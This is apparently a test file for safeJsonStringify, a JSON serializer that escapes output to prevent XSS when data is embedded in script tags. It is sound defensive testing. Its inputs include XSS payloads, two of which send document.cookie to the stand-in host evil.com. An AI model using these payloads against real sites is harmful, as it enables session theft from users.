mirror of
https://github.com/cloudflare/vinext.git
synced 2026-09-14 19:04:59 +08:00
0d8d3e3c60
* refactor(router): quarantine navigation runtime topology * fix(router): restore manifest-backed interception runtime App Router browser navigations lost first-hop intercepted route context after snapshot topology stopped acting as fallback proof. That made /feed to /photos/:id request the direct page payload instead of the declared modal payload. The violated invariant was that route topology must come from the manifest, while snapshots only carry runtime proof. Resolve first-hop interception from the manifest, move RSC bootstrap streams onto the symbol-backed runtime, teach prerender extraction that script shape, and harden the runtime contract around route manifest and RSC data. Coverage includes runtime seam tests, prerender extraction tests, planner/browser navigation tests, package rebuild, and the app-router intercepted routes E2E slice. * fix(router): narrow prerender RSC script parsing The prerender extractor accepted any script starting with the symbol-runtime bootstrap expression, then parsed it as though it had the exact RSC chunk-push prefix. That was harmless at the current head, but it made future runtime scripts a foot-gun. Only the exact runtime chunk prefix and exact done marker are now accepted. A focused extractor test covers non-chunk runtime scripts that share the bootstrap expression prefix. * fix(router): address navigation runtime review * fix(router): resolve navigation runtime review threads
384 lines
14 KiB
TypeScript
384 lines
14 KiB
TypeScript
/**
|
|
* Tests for safeJsonStringify — the HTML-safe JSON serializer.
|
|
*
|
|
* This is a security-critical function. It prevents XSS when embedding
|
|
* JSON data inside <script> tags during SSR. Every test here represents
|
|
* a real attack vector that has been exploited in production SSR frameworks.
|
|
*/
|
|
import { describe, it, expect } from "vite-plus/test";
|
|
import { safeJsonStringify } from "../packages/vinext/src/server/html.js";
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Core escaping behavior
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("safeJsonStringify", () => {
|
|
describe("basic functionality", () => {
|
|
it("serializes primitives correctly", () => {
|
|
expect(safeJsonStringify("hello")).toBe('"hello"');
|
|
expect(safeJsonStringify(42)).toBe("42");
|
|
expect(safeJsonStringify(true)).toBe("true");
|
|
expect(safeJsonStringify(null)).toBe("null");
|
|
});
|
|
|
|
it("serializes objects and arrays", () => {
|
|
const result = safeJsonStringify({ a: 1, b: [2, 3] });
|
|
// Should be valid JSON when unescaped
|
|
expect(
|
|
JSON.parse(
|
|
result
|
|
.replace(/\\u003c/g, "<")
|
|
.replace(/\\u003e/g, ">")
|
|
.replace(/\\u0026/g, "&"),
|
|
),
|
|
).toEqual({
|
|
a: 1,
|
|
b: [2, 3],
|
|
});
|
|
});
|
|
|
|
it("handles empty objects and arrays", () => {
|
|
expect(safeJsonStringify({})).toBe("{}");
|
|
expect(safeJsonStringify([])).toBe("[]");
|
|
});
|
|
|
|
it("handles nested structures", () => {
|
|
const data = { user: { name: "test", tags: ["a", "b"] } };
|
|
const result = safeJsonStringify(data);
|
|
// The output should parse back to the same value when we undo the escapes
|
|
const unescaped = result
|
|
.replace(/\\u003c/g, "<")
|
|
.replace(/\\u003e/g, ">")
|
|
.replace(/\\u0026/g, "&");
|
|
expect(JSON.parse(unescaped)).toEqual(data);
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// XSS prevention — the reason this function exists
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("XSS prevention", () => {
|
|
it("escapes </script> — the classic SSR XSS vector", () => {
|
|
const malicious = '</script><script>alert("xss")</script>';
|
|
const result = safeJsonStringify({ content: malicious });
|
|
|
|
// Must NOT contain a literal </script> that would close the tag
|
|
expect(result).not.toContain("</script>");
|
|
expect(result).not.toContain("</Script>");
|
|
|
|
// Must contain the escaped form
|
|
expect(result).toContain("\\u003c/script\\u003e");
|
|
});
|
|
|
|
it("escapes </SCRIPT> (case variations)", () => {
|
|
const payloads = ["</SCRIPT>", "</Script>", "</ScRiPt>"];
|
|
for (const payload of payloads) {
|
|
const result = safeJsonStringify(payload);
|
|
// All < and > should be escaped regardless of case
|
|
expect(result).not.toContain("<");
|
|
expect(result).not.toContain(">");
|
|
}
|
|
});
|
|
|
|
it("escapes <!-- HTML comment open", () => {
|
|
const result = safeJsonStringify("<!--");
|
|
expect(result).not.toContain("<!--");
|
|
expect(result).toContain("\\u003c");
|
|
});
|
|
|
|
it("escapes --> HTML comment close", () => {
|
|
const result = safeJsonStringify("-->");
|
|
expect(result).not.toContain("-->");
|
|
expect(result).toContain("\\u003e");
|
|
});
|
|
|
|
it("escapes < in all positions", () => {
|
|
const result = safeJsonStringify("<img onerror=alert(1)>");
|
|
expect(result).not.toContain("<");
|
|
expect(result).not.toContain(">");
|
|
});
|
|
|
|
it("escapes & to prevent entity interpretation in XHTML", () => {
|
|
const result = safeJsonStringify("<script>");
|
|
expect(result).not.toContain("&");
|
|
expect(result).toContain("\\u0026");
|
|
});
|
|
|
|
it("escapes U+2028 LINE SEPARATOR", () => {
|
|
const result = safeJsonStringify("before\u2028after");
|
|
expect(result).not.toContain("\u2028");
|
|
expect(result).toContain("\\u2028");
|
|
});
|
|
|
|
it("escapes U+2029 PARAGRAPH SEPARATOR", () => {
|
|
const result = safeJsonStringify("before\u2029after");
|
|
expect(result).not.toContain("\u2029");
|
|
expect(result).toContain("\\u2029");
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Real-world attack payloads
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("real-world attack payloads", () => {
|
|
it("blocks stored XSS via CMS content in pageProps", () => {
|
|
// Simulates a blog post body from a CMS containing an XSS payload
|
|
const pageProps = {
|
|
post: {
|
|
title: "Innocent Post",
|
|
body: 'Check this out!</script><script>document.location="https://evil.com/steal?c="+document.cookie</script>',
|
|
},
|
|
};
|
|
const result = safeJsonStringify({ props: { pageProps } });
|
|
|
|
// The script tag must not break out
|
|
expect(result).not.toContain("</script>");
|
|
|
|
// Simulating what the browser sees: embed in a script tag
|
|
const scriptContent = `window.__NEXT_DATA__ = ${result}`;
|
|
// The browser should see this as a single script with JSON data,
|
|
// not as multiple script tags
|
|
expect(scriptContent.match(/<\/script/gi)).toBeNull();
|
|
});
|
|
|
|
it("blocks SVG-based XSS payload", () => {
|
|
const payload = '<svg onload="alert(1)">';
|
|
const result = safeJsonStringify({ html: payload });
|
|
// The < and > must be escaped so the browser doesn't parse it as HTML
|
|
expect(result).not.toContain("<svg");
|
|
expect(result).not.toContain("<");
|
|
expect(result).not.toContain(">");
|
|
// The string "onload" is harmless inside a JSON string — it's the
|
|
// angle brackets that make it dangerous
|
|
});
|
|
|
|
it("blocks payload with multiple closing tags", () => {
|
|
const payload = "</script></script></script><script>alert(1)//";
|
|
const result = safeJsonStringify(payload);
|
|
expect(result).not.toContain("</script>");
|
|
});
|
|
|
|
it("blocks payload attempting Unicode escape bypass", () => {
|
|
// Some attackers try \u003c/script\u003e in the source hoping
|
|
// the JSON serializer will output the raw chars
|
|
const payload = "\u003c/script\u003e\u003cscript\u003ealert(1)\u003c/script\u003e";
|
|
const result = safeJsonStringify(payload);
|
|
// The literal < and > from the Unicode escapes must be re-escaped
|
|
expect(result).not.toContain("<");
|
|
expect(result).not.toContain(">");
|
|
});
|
|
|
|
it("handles null bytes in payloads", () => {
|
|
const payload = "</scr\0ipt>";
|
|
const result = safeJsonStringify(payload);
|
|
expect(result).not.toContain("<");
|
|
expect(result).not.toContain(">");
|
|
});
|
|
|
|
it("handles deeply nested XSS payloads", () => {
|
|
const data = {
|
|
a: {
|
|
b: {
|
|
c: {
|
|
d: {
|
|
value: '</script><script>fetch("https://evil.com/"+document.cookie)</script>',
|
|
},
|
|
},
|
|
},
|
|
},
|
|
};
|
|
const result = safeJsonStringify(data);
|
|
expect(result).not.toContain("</script>");
|
|
});
|
|
|
|
it("handles array values with XSS payloads", () => {
|
|
const data = {
|
|
items: ["safe", "</script><script>alert(1)</script>", "also safe"],
|
|
};
|
|
const result = safeJsonStringify(data);
|
|
expect(result).not.toContain("</script>");
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Output validity — the escaped JSON must still parse correctly
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("output is valid JavaScript", () => {
|
|
it("output can be parsed as a JS expression (simulating script tag eval)", () => {
|
|
const data = {
|
|
title: '</script><script>alert("xss")</script>',
|
|
body: "Hello & goodbye <world>",
|
|
special: "Line\u2028break\u2029here",
|
|
};
|
|
const result = safeJsonStringify(data);
|
|
|
|
// The output should be valid JavaScript that evaluates to the original data.
|
|
// We use Function() here intentionally in the test to verify the output
|
|
// is valid JS — this is the exact context where it will be used (inside
|
|
// a <script> tag).
|
|
// oxlint-disable-next-line no-new-func, @typescript-eslint/no-implied-eval
|
|
const parsed = new Function(`return (${result})`)();
|
|
expect(parsed).toEqual(data);
|
|
});
|
|
|
|
it("round-trips complex data through script tag simulation", () => {
|
|
const data = {
|
|
props: {
|
|
pageProps: {
|
|
users: [
|
|
{ name: "Alice <admin>", bio: "I love & code" },
|
|
{ name: "Bob</script>", bio: "\u2028\u2029" },
|
|
],
|
|
},
|
|
},
|
|
page: "/users/[id]",
|
|
query: { id: "123" },
|
|
isFallback: false,
|
|
};
|
|
const result = safeJsonStringify(data);
|
|
|
|
// Must be valid JS
|
|
// oxlint-disable-next-line no-new-func, @typescript-eslint/no-implied-eval
|
|
const parsed = new Function(`return (${result})`)();
|
|
expect(parsed).toEqual(data);
|
|
});
|
|
|
|
it("preserves all standard JSON data types", () => {
|
|
const data = {
|
|
string: "hello",
|
|
number: 42,
|
|
float: 3.14,
|
|
negative: -1,
|
|
boolTrue: true,
|
|
boolFalse: false,
|
|
nullValue: null,
|
|
array: [1, "two", null, true],
|
|
nested: { a: { b: { c: "deep" } } },
|
|
empty: {},
|
|
emptyArray: [],
|
|
unicode: "\u00e9\u00e8\u00ea", // French accented chars
|
|
emoji: "\uD83D\uDE00", // grinning face
|
|
};
|
|
const result = safeJsonStringify(data);
|
|
// oxlint-disable-next-line no-new-func, @typescript-eslint/no-implied-eval
|
|
const parsed = new Function(`return (${result})`)();
|
|
expect(parsed).toEqual(data);
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Edge cases
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("edge cases", () => {
|
|
it("handles empty string", () => {
|
|
expect(safeJsonStringify("")).toBe('""');
|
|
});
|
|
|
|
it("handles string with only special characters", () => {
|
|
const result = safeJsonStringify("<>&\u2028\u2029");
|
|
expect(result).not.toContain("<");
|
|
expect(result).not.toContain(">");
|
|
expect(result).not.toContain("&");
|
|
});
|
|
|
|
it("handles very long strings", () => {
|
|
const long = "x".repeat(100000) + "</script>" + "y".repeat(100000);
|
|
const result = safeJsonStringify(long);
|
|
expect(result).not.toContain("</script>");
|
|
// oxlint-disable-next-line no-new-func, @typescript-eslint/no-implied-eval
|
|
const parsed = new Function(`return (${result})`)();
|
|
expect(parsed).toBe(long);
|
|
});
|
|
|
|
it("handles strings that look like escape sequences", () => {
|
|
// Input already contains \\u003c — the serializer should not double-escape
|
|
// in a way that changes semantics. The input literal backslash + u003c
|
|
// should remain as-is in the JSON (JSON.stringify already escapes the backslash).
|
|
const input = "already escaped: \\u003c";
|
|
const result = safeJsonStringify(input);
|
|
// oxlint-disable-next-line no-new-func, @typescript-eslint/no-implied-eval
|
|
const parsed = new Function(`return (${result})`)();
|
|
expect(parsed).toBe(input);
|
|
});
|
|
|
|
it("does not mangle regular content", () => {
|
|
const data = {
|
|
title: "My Blog Post",
|
|
description: "A normal description with 'quotes' and \"double quotes\"",
|
|
count: 42,
|
|
};
|
|
const result = safeJsonStringify(data);
|
|
// oxlint-disable-next-line no-new-func, @typescript-eslint/no-implied-eval
|
|
const parsed = new Function(`return (${result})`)();
|
|
expect(parsed).toEqual(data);
|
|
});
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Integration: simulating the actual __NEXT_DATA__ embedding pattern
|
|
// ---------------------------------------------------------------------------
|
|
|
|
describe("__NEXT_DATA__ embedding simulation", () => {
|
|
it("produces safe output when embedded in a script tag", () => {
|
|
const pageProps = {
|
|
post: {
|
|
title: "How to </script> break things",
|
|
content: '<img src=x onerror="alert(1)">',
|
|
author: "Alice & Bob <team>",
|
|
},
|
|
};
|
|
|
|
const nextData = {
|
|
props: { pageProps },
|
|
page: "/posts/[slug]",
|
|
query: { slug: "test" },
|
|
isFallback: false,
|
|
};
|
|
|
|
const scriptContent = `<script>window.__NEXT_DATA__ = ${safeJsonStringify(nextData)}</script>`;
|
|
|
|
// Count script tags — there should be exactly one open and one close.
|
|
// lgtm[js/bad-tag-filter] — counting tags to verify XSS protection, not filtering HTML
|
|
const openTags = scriptContent.match(/<script>/g);
|
|
const closeTags = scriptContent.match(/<\/script>/g);
|
|
expect(openTags).toHaveLength(1);
|
|
expect(closeTags).toHaveLength(1);
|
|
});
|
|
|
|
it("produces safe output for navigation runtime RSC bootstrap data", () => {
|
|
const embedData = {
|
|
rsc: ["chunk with </script> in it", "<script>alert(1)</script>"],
|
|
params: { id: "123" },
|
|
};
|
|
|
|
const scriptContent =
|
|
`<script>self[Symbol.for("vinext.navigationRuntime")]={bootstrap:{routeManifest:null,rsc:` +
|
|
safeJsonStringify(embedData) +
|
|
"},functions:{}}</script>";
|
|
|
|
// lgtm[js/bad-tag-filter] — counting tags to verify XSS protection, not filtering HTML
|
|
const openTags = scriptContent.match(/<script>/g);
|
|
const closeTags = scriptContent.match(/<\/script>/g);
|
|
expect(openTags).toHaveLength(1);
|
|
expect(closeTags).toHaveLength(1);
|
|
});
|
|
|
|
it("locale globals are safe", () => {
|
|
const locale = '</script><script>alert("locale")</script>';
|
|
const locales = ["en", locale, "fr"];
|
|
|
|
const script = `<script>window.__VINEXT_LOCALE__=${safeJsonStringify(locale)};window.__VINEXT_LOCALES__=${safeJsonStringify(locales)}</script>`;
|
|
|
|
// lgtm[js/bad-tag-filter] — counting tags to verify XSS protection, not filtering HTML
|
|
const openTags = script.match(/<script>/g);
|
|
const closeTags = script.match(/<\/script>/g);
|
|
expect(openTags).toHaveLength(1);
|
|
expect(closeTags).toHaveLength(1);
|
|
});
|
|
});
|
|
});
|